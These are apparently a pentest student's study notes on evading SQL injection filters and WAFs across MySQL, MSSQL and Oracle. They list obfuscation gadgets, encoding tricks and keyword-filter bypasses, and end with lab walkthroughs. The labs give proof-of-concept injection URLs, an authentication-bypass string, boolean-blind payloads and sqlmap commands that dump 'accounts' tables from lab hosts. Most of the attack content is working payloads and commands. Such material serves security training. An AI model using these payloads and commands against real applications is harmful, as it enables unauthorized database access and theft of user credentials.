SQL Injection Filter Evasion
How WAFs try to protect websites
WAF bypasses
Introduction
SQLi has evolved so much, now we can not only manipulate database and gain access but also DoS, spread malware, phishing, etc
DBMS Gadgets
Comments
Comments are useful to devs For clarifying particular SQL statements
Our pourposes: Commenting out the query and obfuscating portions of our code
MySQL syntax:
https://dev.mysql.com/doc/refman/8.0/en/comments.html
#
* ... */
-- -
;%00
MSSQL syntax:
- http://msdn.microsoft.com/en-us/library/ff848807.aspx
/* ... */
-- -
;%00
Oracle syntax:
- https://docs.oracle.com/cd/B19306_01/server.102/b14200/sql_elements006.htm#i31713
/* ... */
-- -
Functions and Operators
MySQL
- http://dev.mysql.com/doc/refman/5.7/en/functions.html
Magic numbers:
SELECT name from exployees WHERE id='MAGIC-HERE'
# By manipulating the plus and minus chars we can generate a countless list of the number 1:
id=1
id=--1
id=-+-+1
id=----2---1
Bitwise Functions:
- http://dev.mysql.com/doc/refman/4.1/en/bit-functions.html#operator_bitwise-invert
id=1&1
id=0|1
id=13^12
id=8>>3
id=~-2
Logical operator:
- http://dev.mysql.com/doc/refman/5.7/en/logical-operators.html
id=NOT 0
id=!0
id=!1+1
id=1&&1
id=1 AND 1
id=!0 AND !1+1
id=1 || NULL
id=1 || !NULL
id=1 XOR 1
Reguler Expression Operators (REGEX):
- http://dev.mysql.com/doc/refman/5.7/en/regexp.html
id={anything} REGEXP '.*'
id={anything} NOT REGEXP '{randomkeys}'
id={anything} RLIKE '.*'
id={anything} NOT RLIKE '{randomkeys}'
Comparison Operators:
- http://dev.mysql.com/doc/refman/5.7/en/comparison-operators.html
id=GREATEST(0,1)
id=COALESCE(NULL,1)
id=ISNULL(1/0)
id=LEAST(2,1)
In MSSQL we cannot use two equal signs concatenated:
id=1
id=-+-+1
id=-+-+-+-+-+-+1
id=-+-+-+-+-+-+-+-+-+1*-+-+-+-+-+-+-+-+-+1
BitWise Operators:
- http://msdn.microsoft.com/en-us/library/ms176122.aspx
We can only manipulate using:
&=(AND)
|=(OR)
^ = (XOR)
In MySQL there are other operator that we can leveraged For testing the whether or not some conditions are true
→ http://dev.mysql.com/doc/refman/5.7/en/subqueries.html
In SQL Server, these are all grouped in one table:
- http://msdn.microsoft.com/en-us/library/ms189773.aspx
However there are not short forms, so
&&
||
etc... Are not valid in this DBMS
Oracle
SELECT name from exployees WHERE id='MAGIC-HERE'
Oracle is more restrictive
To use arithmetic operators, we must create valid expression to avoid the missing expression erro:
id=1
id=-(-1)
id=-(1)*-(1)
To combine values, functions and operators into expressions, we must follow the list of Conditions mixed to Expression
→ https://docs.oracle.com/cd/B28359_01/server.111/b28286/conditions.htm#SQLRF005
→ https://docs.oracle.com/cd/B28359_01/server.111/b28286/expressions.htm#SQLRF004
SELECT name from employees where id=some(1)
Intermediary Characters
- Blank spaces are useful in separating functions, operators, declarations, and so forth, basically intermediary characters.
- However, there is non-common characters that can be user
MySQL
SELECT[CHAR]name[CHAR]from[CHAR]employees
Universal characters allowed as whitespaces:
Codepoint | Character | |
9 | U+0009 | = character tabulation |
10 | U+000A | = Life feed (LF) |
11 | U+000B | = Line Tabulation |
12 | U+000C | = Form feed |
13 | U+000D | = Carriage return (CR) |
32 | U+0020 | = Space |
MSSQL
The list of Universal characters allowed as a whitespace are large. Essentially, all the ASCII Control Characters, the space and the no-break space are allowed.
Codepoint | Character | |
160 | U+00A0 | = No-break space |
Oracle
There are 7 characters in total
All the mysql table + the NULL char:
Codepoint | Character | |
0 | U+0000 | // NULL |
Non Universal characters
Mysql / MSSQL / Oracle
Plus Sign (+)
In all the DBMS we can use the (+) to separate almost all the keywords except FROM:
SELECT+name FROM exployees WHERE+id=1 AND+name LIKE+'J%'
In all DMBS depending on the context ,we can also use
Parenthesis ()
Operators
Quotes
and of course the C-Style comments /**/
Constants and Variables
- Constants (AKA Reserved Words)
- Knowing the SQL keywords is a must
- System Variables also can be very useful
MySQL
The only way to obfuscate keywords is by manipulating upper/lower case variations like:
sELeCt
SELect
etc
System Variables
→ http://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html
We can use the statement:
SHOW VARIABLES
The list is large, if u want to retrieve a specific value, just add @@ before the variable name:
@@version
User Variables:
SET @myvar={expression}
SET @myvar:={expression}
MSSQL
Keywords
→ http://msdn.microsoft.com/en-us/library/ms189822.aspx
This list displays not only SQL reserved words, but also system functions
- Info about configuration and more is organized as Built-in Functions
→ http://technet.microsoft.com/en-us/library/ms174318(v=sql.110).aspx
There are primarily four types of functions, closer to variable are Scalar Functions:
@@version // its a Scalar function
Oracle
Particular management of Words
→ https://docs.oracle.com/cd/B10501_01/appdev.920/a42525/apb.htm
There are both Reserved Words, the words that cannot be redefined, and Keywords, words always important but can be redefined by the user
Example: we can create a table DATABASE cause the keyword is not Reserved:
CREATE TABLE DATABASE (id number);
Strings
Lets see techniques that are helpful in the creation, manipulation and obfuscation of strings
Regular Notations
MYSQL
To define a string we can use:
single quote ('')
double quotes ("")
To define string literals:
_latin1'string'
The character set that can be used has approximately 40 possible values and can use any of them preceded by an underscore character:
SELECT _ascii'Break Me'
U can use N’literal’ or n’niteral’ to create a string in the National character Set: http://dev.mysql.com/doc/refman/5.7/en/charset-national.html
SELECT N'mystring'
Hexadecimal
→ https://dev.mysql.com/doc/refman/8.0/en/hexadecimal-literals.html
SELECT X'4F485045'
SELECT 0x4F485045
Bit Literals
→ https://dev.mysql.com/doc/refman/5.7/en/bit-value-literals.html
Using like B’literal’ or b’literal’:
SELECT 'a'=B'1100001' #TRUE
MSSQL
It defines the literal as either constant or scalar value.
- can be defined only by using single quotes (’ ‘)
If the QUOTED_IDENTIFIER options is enabled, then we can use double quotes (” “)
SELECT 'Hello'
OrACLE
Also does not allow double quotes. But we can use National notation → https://docs.oracle.com/cd/B28359_01/server.111/b28286/sql_elements003.htm#SQLRF00218
SELECT 'Hello'
SELECT N'Hello'
SELECT q'[Hello]'
SELECT Q'{Hello}'
SELECT nQ'("admin")'
Unicode
MYSQL:
- http://dev.mysql.com/doc/refman/5.5/en/charset-collation-effect.html
Documented above:
SELECT 'admin'='âđɱȋň' #TRUE
Escaping
Using backslash before both single and double quotes
→ https://dev.mysql.com/doc/refman/8.0/en/string-literals.html
However there are also other special characters used to escapse:
SELECT 'He\'llo'
SELECT 'He\%\_llo'
Furthermore, to escape quotes we can use the same character two times:
SELECT 'He''llo'
SELECT "He""llo"
If we try to escape a character that does not have a respective escaping sequence, the backslash will be ignored:
SELECT '\H\e\l\l\o'
SELECT 'He\ll\o'
In MSSQL and Oracle, u can escape single quotes by using two single quotes:
SELECT 'He''llo'
Concatenation
For quoted strings, concatenation can be performed by placing the string next to each other:
SELECT 'he' 'll' 'o'
As an alternative, we can use functions like CONCAT and CONCAT_WS
→ http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_concat
→ http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_concat-ws
WS stand For with separator:
SELECT CONCAT('He','ll','o')
SELECT CONCAT_WS(''. 'He', 'll', 'o')
Its possible to concatenate using mix of comments in C-Style:
SELECT 'He'/**/'ll'/**/'o'
SELECT /**/'He'/**/'ll'/**/'o'/**/
SELECT /*!10000 'He' */'ll'/*****/'o'/*****/
in MSSQL: Can be done by using both the operator (+) and the function CONCAT → http://msdn.microsoft.com/en-us/library/hh231515.aspx
SELECT 'He'+'ll'+'o'
SELECT CONCAT('He','ll','o')
We can obfuscate by using C-Style comments:
SELECT 'He'/**/+/**/'ll'/**/+'o'
SELECT CONCAT(/**/'He',/**/1/**/,/**/'lo'/**/)
In Oracle: The operator is || and, from the function perspective, we can use CONCAT and NVL:
→ https://docs.oracle.com/cd/B28359_01/server.111/b28286/functions026.htm#SQLRF00619
→ https://docs.oracle.com/cd/B28359_01/server.111/b28286/functions110.htm#SQLRF00684
SELECT 'He'||'ll'||'o'
SELECT CONCAT('He','llo')
SELECT NVL('Hello', 'Goodbye')
Obfuscating the string concatenation:
SELECT q'[]'||'He'||'ll'/**/'o'
SELECT CONCAT(/**/'He'/**/,/**/'ll'/**/)
Integers:
- Example is to use the value PI (3,141593…). With FLOOR to obtain the value 3, and CEIL to obtain the value 4
- We can use system function like version() and obtain the value 5,6
For example
ceil(pi()*3) = 10
MySQL Type Conversion
Combining arithmetic operations with different types:
SELECT ~'-2it\'s a kind of magic'
Numbers vs Booleans:
SELECT ... 1=TRUE
SELECT ... 2! =TRUE
SELECT ... OR 1
SELECT ... AND 1
Strings vs Numbers vs Booleans:
SELECT ... VERSION()=5.5 #5.5.30
SELECT ... @@VERSION()=5.5 #5.5.30
SELECT ... ('type'+'cast')=0 #TRUE
SELECT ~'-2it\'s a kind of mafic' '#1
SELECT ~'-1337a kind of magic'-25 #1337
Bypassing Authentication:
# Put all of this together and try to think of some alternatives to the classic
x' OR 1='1
Bypassing Keyword Filters
The first limitation are restriction on keywords
Case Changing
The simplest is just change the cases of each character:
SeLeCt
SEleCT
etc
sqlmap has a tampering script to automate this case changing
→ https://github.com/sqlmapproject/sqlmap/blob/master/tamper/randomcase.py
Using Intermediary Characters
We can use both comments instead of spaces and depending on the DBMS version, a list of the whitespace that are not matched as spaces:
SELECT/**/values/**/and/**/.../**/or/**/
SELECT[sp]values[sp]and...[sp]or[sp]
Using alternative Techniques
SELECT"values"from'table'where/**/1
SELECT(values)from(table)where(1)
SELECT"values"''from'table'where(1)
SELECT+"values"%A0from'table'
Circumventing by Encoding
It all depends on how the application processes data
- between the attacker and the application, there are many layers, such as a proxy, firewall, etc. If some of these layers handle the encoding differently, there could be a possible bypass
URL Encoding:
- Usually when the requests are sent through the internet via HTTP, they are URL encoded.
- In this case we can send the entire string URL-encoded
Double URL Encoding:
# If u encode a URL-Encoded string, they u are performing a Double URL-Encoding
s = %73 > %2573
IN this case, if the filter decodes the request the first time and applies the rules, it will not find anything dangerous
Then when the application receives the request, it will decode the contents and trigger the malicious request
Replaced Keywords
Booleans > AND, OR
- AND = &&
- OR = ||
# only in MySQL and MSSQL
WHERE ID=x && 1=1
WHERE ID=x || 1=1
# If && and || are filtered, then u must use 'UNION'
UNION > Simple case
# We can use many variants to elude these kind of filters:
UNION(SELECT 'VALUES'...) &&
UNION ALL SELECT ...
UNION DISTINCT SELECT ...
/*!00000 UNION*//*!00000 SELECT*/ ...
WHen the UNION is filtered, we must switch to blind SQLi exploitation:
(SELECT id FROM users LIMIT 1)='5 ...
In Oracle:
→ https://docs.oracle.com/cd/B28359_01/server.111/b28286/queries004.htm#SQLRF52323
- We can use INTERSECT or MINUS operators
WHERE, GROUP, LIMIT, HAVING:
- Useful keywords to select a specific entry
If the filter blocks WHERE keyword, we can alternatively use GROUP BY + HAVING:
SELECT id FROM users GROUP BY id HAVING id='5 ...
If GROUP BY is filtered, we must revert to blind SQLi:
AND length((select first char)='a') //0/1 > true/false
If HAVING is filterd, in this case we must leverage functions like GROUP_CONCAT, functions that manipulates strings, etc. Of course, all of this is blind!
If SELECT is filtered, The exploitation can vary and really depends upon the injection point.
You need to use functions that manipulate FILES such as:
load_files //in mysql
Another option, brute-force or guess the column names by appending other WHERE condition such as:
AND COLUMN IS NOT NULL ...
Alternatively, being able to invoke the stored procedure analyse()
→ http://dev.mysql.com/doc/refman/5.7/en/procedure-analyse.html
This sproc returns juicy information about the query just executed:
SELECT * FROM employees procedure analyse()
Bypassing Function Filters
Lets now unpack useful techniques and alternative functions For use in these types of scenarios
Building Strings
In the DBMS Gadget chapter, we discussed how to generate strings but, we used quotes. Building strings without quotes is a little bit tricky:
- UNHEX
- HEX
- CHAR
- ASCII
- ORD
UNHEX is useful in translating hexadecimal numbers to string:
- http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_unhex
SUBSTR(USERNAME,1,1)=UNHEX(48)
SUBSTR(USERNAME,1,2)=UNHEX(4845)
...
SUBSTR(USERNAME,1,5)=UNHEX('48454C4C4F')
SUBSTR(USERNAME,1,2)=0x48454C4C4F
HEX function is useful to convert o hexadecimal:
- http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_hex
HEX(SUBSTR(USERNAME,1,1))=48
HEX(SUBSTR(USERNAME,1,2))=4845
...
HEX(SUBSTR(USERNAME,1,5))='48454C4C4F'
CHAR can also be used:
- http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_char
SUBSTR(USERNAME,1,1)=CHAR(72)
SUBSTR(USERNAME,1,2)=CHAR(72,69)
...
SUBSTR(USERNAME,1,1)=CONCAT(CHAR(72),CHAR(69))
ASCII and ORD: twin functions:
- http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_ascii
- http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_ord
ASCII(SUBSTR(USERNAME,1,1))=48
ORD(SUBSTR(USERNAME,1,1))=48
CONV: mySQL offers an interesting method in returning the string representation of a number from two bases
- http://dev.mysql.com/doc/refman/5.7/en/mathematical-functions.html#function_conv
The highest base we can use is 36
We cannot use For unicode characters; however, at least we can generate a string from a-zA-Z0-9:
CONV(10,10,36) //'a'
CONV(11,10,36) //'b'
We can mix the results with upper and lower functions to retrieve the respective representation:
LOWER(CONV(10,10,36)) #'a'
LCASE(CONV(10,10,36)) #'a'
UPPER(CONV(10,10,36)) #'A'
UCASE(CONV(10,10,36)) #'A'
...
Brute-force Strings
- LOCATE
- INSTR
- POSITION
If u cannot build a string, u can try to locate either a segment or an entire string using functions that return the position of the first occurrence of substrings, and then use conditional statements For the Boolean condition.
IF(LOCATE('H',SUBSTR(USERNAME,1,1)),1,0)
# u can also use functions 'INSTR' and 'POSITION'
Building Substring
- SUBSTR
- MID
- SUBSTRING
MID is a synonym of SUBSTRING, which is a synonym of SUBSTR:
[SUBSTR|MID|SUBSTRING]('HELLO' FROM 1 FOR 1)
Alternatively, functions LEFT and RIGHT
→ http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_left
→ http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_right
[LEFT|RIGHT]('HELLO',2) //HE or LO
More options functions like RPAD and LPAD:
[LPAD,RPAD]('HELLO',6,'?') //?HELLO or HELLO?
[LPAD,RPAD]('HELLO',1,'?') //H
...
[LPAD,RPAD]('HELLO',5,'?') //HELLO
Labs
Note: Different sqlmap versions may require different options/flags. For example lab 4 may be solved using the below:
sqlmap -u 'http://192.222.62.2/upload.php?lab=4&payload=' -p payload --technique=B --dbms MySQL --no-cast --tamper=symboliclogical --threads=10 --banner --flush-session --regexp='99\sviews' --prefix="01.jpg'"
1 - ENTRY LEVEL
# Query:
$query = "SELECT views from attachments where filename='$filename'";
# PoC
http://hacker.site/2nd/view.php?payload=%27%20union%20select%20@@version;%20--%20-
# SQLMAP
./sqlmap.py -u 'http://hacker.site/2nd/view.php?payload=a' --technique=U --suffix='; -- -' --banner
./sqlmap.py -u 'http://hacker.site/2nd/view.php?payload=a' --technique=U --suffix='; -- -' -D selfie4you01 -T accounts --dump --no-cast
2 - UNION SELECT
- no filters
Filters: none
Query:
$query = "SELECT views FROM attachments where filename='$entry';";
# PoC
http://hacker.site/2nd/upload.php?lab=2&payload='+union+select+@@version;%23
# SQLMAP
./sqlmap.py -u "http://hacker.site/2nd/upload.php?lab=2&payload=_" -p payload --technique=U --suffix=';#' --union-col=1 --dbms MySQL --banner --no-cast
./sqlmap.py -u "http://hacker.site/2nd/upload.php?lab=2&payload=_" -p payload --technique=U --suffix=';#' --union-col=1 --dbms MySQL -D selfie4you02 -T accounts --dump --no-cast
3 - UNION SELECT
- randomcase filter
- union-char it’s not required here
Filters:
/UNION/
/SELECT/
Query:
$query = "SELECT views FROM attachments where filename='$entry';";
# PoC
http://hacker.site/2nd/upload.php?lab=3&payload=a%27%20UNIoN%20SeLECT%20%27PoC%20String%27;%20--%20-
# SQLMAP
./sqlmap.py -u 'http://hacker.site/2nd/upload.php?lab=3&payload=b' \
-p payload --technique=U --suffix=';#' --dbms MySQL --union-col=1 --no-cast \
--tamper=randomcase --banner
./sqlmap.py -u 'http://hacker.site/2nd/upload.php?lab=3&payload=b' \
-p payload --technique=U --suffix=';#' --dbms MySQL --union-col=1 --no-cast \
--tamper=randomcase -D selfie4you03 -T accounts --dump
4 - Boolean-based blind
- UNION filtered out
-
symboliclogical filter (AND > && , OR > )
Filters:
/UNION/i
/\ AND\ /i
Query:
$query = "SELECT views FROM attachments where filename='$entry';";
# POCs
# (%26) == &
TRUE: http://hacker.site/2nd/upload.php?lab=4&payload=01.jpg'+%26%26+'123'='123
FALSE: http://hacker.site/2nd/upload.php?lab=4&payload=01.jpg'+%26%26+'123'='1
# using true (1) and false (0)booleans
# (%23) == #
TRUE: http://hacker.site/2nd/upload.php?lab=4&payload=01.jpg'+%26%26+TRUE;%23
FALSE: http://hacker.site/2nd/upload.php?lab=4&payload=01.jpg'+%26%26+FALSE;%23
# SQLMAP
./sqlmap.py -u 'http://hacker.site/2nd/upload.php?lab=4&payload=X' \
-p payload --technique=B --dbms MySQL --no-cast --tamper=symboliclogical --threads=10 \
--banner --flush-session
./sqlmap.py -u 'http://hacker.site/2nd/upload.php?lab=4&payload=X' \
-p payload --technique=B --dbms MySQL --no-cast --tamper=symboliclogical --threads=10 \
-D selfie4you04 -T accounts --dump
5 - Boolean-based blind
- UNION filtered out
-
symboliclogical filter (AND > && , OR > )
Filters:
/UNION/i
/\ AND\ /i
/\ OR\ /i
Query;
$query = "SELECT views FROM attachments where filename='$entry';";
POCs:
# same as #4 but with filter that applies to OR too
# (%7C) == |
# SQLMAP
./sqlmap.py -u 'http://hacker.site/2nd/upload.php?lab=5&payload=X' \
-p payload --technique=B --dbms MySQL --no-cast --tamper=symboliclogical --threads=10 \
--banner --flush-session
./sqlmap.py -u 'http://hacker.site/2nd/upload.php?lab=5&payload=X' \
-p payload --technique=B --dbms MySQL --no-cast --tamper=symboliclogical --threads=10 \
-D selfie4you05 -T accounts --dump
6 - Boolean-based blind
- UNION filtered out
-
symboliclogical filter (AND > && , OR > ) - space to verical tab filter to bypass [space]OR filter
Filters:
/UNION/i
/AND/i
/ OR/i
Query;
$query = "SELECT views FROM attachments where filename='$entry';";
# SQLMAP
./sqlmap.py -u "http://hacker.site/2nd/upload.php?lab=6&payload=x" \
-p payload --technique=B --dbms MySQL --suffix=';#' --tamper="symboliclogical, space2VT.py" \
--no-cast --threads=10 -v 3 \
--banner --flush-session
./sqlmap.py -u "http://hacker.site/2nd/upload.php?lab=6&payload=x" \
-p payload --technique=B --dbms MySQL --suffix=';#' \
--tamper="symboliclogical, space2VT.py" \
--no-cast --threads=5 -v 3 \
-D selfie4you06 -T accounts \
--columns
7 - Boolean-based blind
- UNION filtered out
-
symboliclogical filter (AND > && , OR > ) - space to verical tab filter to bypass [space]OR filter
Filters:
/UNION/i
/AND/i
/ OR/i
/6163636f756e7473/
/selfie4you07.accounts/
Query;
$query = "SELECT views FROM attachments where filename='$entry';";
# PoC
TRUE: http://hacker.site/2nd/upload.php?lab=7&payload=01.jpg'+%26%26+TRUE;%23
# SQLMAP
./sqlmap.py -u "http://hacker.site/2nd/upload.php?lab=7&payload=x" \
-p payload --technique=B --dbms MySQL --suffix=';#' \
--tamper="symboliclogical, space2VT.py, accounts.py" \
--no-cast --threads=5 -v 3 \
--banner --flush-session
./sqlmap.py -u "http://hacker.site/2nd/upload.php?lab=7&payload=x" \
-p payload --technique=B --dbms MySQL --suffix=';#' \
--tamper="symboliclogical, space2VT.py, accounts.py" \
--no-cast --threads=5 -v 3 \
-D selfie4you07 -T accounts \
--columns
BONUS LEVEL(s)
IN ALL LEVELS THE FILTER IS NOT RECOURSIVE
- To exploit it you should upload first a filename with the payload you want to execute.
- This will be excluded because contains filtered words
- Then upload a new file with a name that bypass the redundant filter, such as unUNIONnion.
- Once purified the latest filename will be the same as the fist uploaded and thus the file exitsts and can be displayed.